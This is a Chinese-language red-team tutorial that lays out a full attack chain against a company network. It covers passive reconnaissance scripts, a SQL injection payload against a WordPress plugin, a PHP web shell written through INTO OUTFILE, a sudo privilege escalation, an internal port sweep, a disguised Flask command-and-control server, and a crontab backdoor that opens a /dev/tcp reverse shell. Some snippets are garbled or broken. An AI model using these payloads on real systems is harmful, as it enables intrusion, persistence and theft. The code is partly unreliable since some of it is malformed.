0x01 从攻击者的视角看红队演练本质
在任何一次红队攻防演练中,最重要的核心理念是:模拟真实的攻击者行为。红队并不是简单地跑几个漏洞扫描器或者执行几次脚本,而是设计一条基于目标环境的完整攻击链,从外部进入内部,最终达到目标。换句话说,红队的任务并不是找到漏洞,而是证明这些漏洞可以组合起来完成实际的渗透目标。
红队演练的本质是「Think like an attacker」,从攻击者视角考虑如何绕过边界防护、隐匿行为痕迹,甚至利用目标的业务逻辑漏洞以最小的代价达成攻击目的。在这部分内容中,我会通过一个常见的企业环境为例,带你从外部侦察到成功权限维持的攻击链思路。
---
0x02 基础设施情报收集的秘密武器
信息收集是红队行动中的第一步,也是最基础的。很多新手喜欢直接用工具扫描目标端口,但聪明的攻击者会通过被动侦察来积累足够多的环境信息。
1. 被动信息收集的三件套
以下是我在实战中最常用的三种方法,用于在目标尚未察觉的情况下获取关键情报:
1.1 DNS情报挖掘
目标的DNS通常能泄露大量有用信息,比如:
- 子域名(可能是开发环境)
- 邮件服务器(用于社工钓鱼)
- 内网相关域名(暴露了架构)

我们可以使用 crt.sh 查询目标的历史SSL证书,快速发现注册过的子域名。以下是一个Python脚本示例:
<pre><code class="language-python">import requests import re
def query_crt_sh(domain): url = f"https://crt.sh/?q={domain}" headers = {"User-Agent": "Mozilla/5.0"} response = requests.get(url, headers=headers) if response.status_code == 200:
提取子域名
subdomains = set(re.findall(r'\b(?:a-z0-9?\.)+' + domain, response.text)) for sub in subdomains: print(sub)
替换为你的目标域名
query_crt_sh("example.com")</code></pre>
1.2 社交网络分析
社交平台(比如LinkedIn、GitHub)常常泄露员工信息或开发中的敏感资源。以下是通过GitHub关键字搜索的方法:
<pre><code class="language-bash"># 搜索某个公司相关的代码泄漏 curl -s "https://api.github.com/search/code?q=company+example.com" | grep -iE "login|html_url"</code></pre>

1.3 Google Hacking
Google Dork是信息收集的王牌技能。以下是一些常用的语法示例:
site:example.com filetype:pdf:列出所有PDF文件intitle:index.of "password":寻找包含“password”的目录
---
0x03 横向突破:利用已知漏洞撬动链条
拿到目标的基础情报后,我们需要找到进入的突破口。这里以一个常见的场景为例:公司开发团队将某个测试环境暴露到了互联网,而这个环境使用的是一个存在漏洞的CMS系统。
1. 漏洞环境搭建
为了模拟,我们可以快速部署一个存在漏洞的CMS,比如 WordPress + 插件漏洞。以下是Bash脚本:
<pre><code class="language-bash">#!/bin/bash
快速搭建一个漏洞环境
docker run --name wordpress -e WORDPRESS_DB_HOST=127.0.0.1 \ -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root \ -p 8080:80 -d wordpress:5.2.0</code></pre>
访问 http://localhost:8080,确认环境启动成功。
2. 漏洞验证
假设目标使用了一个存在SQL注入漏洞的插件(比如WP-Statistics),我们可以通过以下简单脚本验证:
<pre><code class="language-python">import requests
url = "http://target.com/wp-content/plugins/wp-statistics/admin.php" payload = {"query": "id=1' UNION SELECT user, password FROM wp_users --"} response = requests.get(url, params=payload)
if "admin" in response.text: print("漏洞存在,用户数据已泄露!")</code></pre>
3. 利用漏洞
这里可以尝试通过SQL注入直接获取管理员账号密码。如果目标没有防御措施,可以尝试写入反弹Shell:
<pre><code class="language-sql">UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'</code></pre>
然后访问 http://target.com/shell.php?cmd=whoami。
---
0x04 内网横移:把一次突破变成全网失守
进入目标系统后,我们需要进一步扩大战果。以下是可能的操作:
1. 本机权限提升
如果目标是Linux系统,可以尝试找系统提权漏洞。例如常见的Sudo提权:
<pre><code class="language-bash">sudo -u#-1 /bin/bash</code></pre>
2. 网络横向移动
通过枚举其他主机,寻找共享文件夹、弱口令或未打补丁的服务。以下是枚举内网的简单脚本:
<pre><code class="language-bash">#!/bin/bash
枚举内网IP和开放端口
for ip in $(seq 1 254); do echo "扫描192.168.1.$ip..." nc -zv 192.168.1.$ip 1-65535 2>/dev/null done</code></pre>

---
0x05 隐匿与持久化:隐藏在目标网络中
完成渗透后,我们需要确保不会被检测到,同时构建持久化后门以便后续操作。
1. 流量伪装
将攻击流量伪装成合法流量。一个简单的例子是把C2通信伪装成普通HTTP流量,以下是一个基于Flask的伪装C2服务器:
<pre><code class="language-python">from flask import Flask, request
app = Flask(__name__)
@app.route("/api/v1/data", methods=["POST"]) def command_and_control():
解析加密后的C2命令
encrypted_command = request.data command = decrypt_command(encrypted_command) result = execute_command(command) return encrypt_result(result)
app.run(host="0.0.0.0", port=80)</code></pre>
2. 后门植入
以下是一个利用crontab实现简单持久化的例子:
<pre><code class="language-bash"># 每分钟运行反弹Shell echo " * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /etc/crontab</code></pre>
---
0x06 经验教训:细节决定成败
红队演练是一场需要耐心、技术和策略的攻防博弈。以下是一些经验总结:
- 情报永远优先于工具。用脑子分析比盲目跑脚本更重要。
- 攻击链条要完整。单点突破很难造成实际威胁,只有构建攻击链才能达到目标。
- 隐匿行为是关键。被发现一次,整个演练就可能失败。
红队的工作,是在敌人察觉之前完成所有目标。如果你能做到这一点,你就真正进入了攻击者的领域。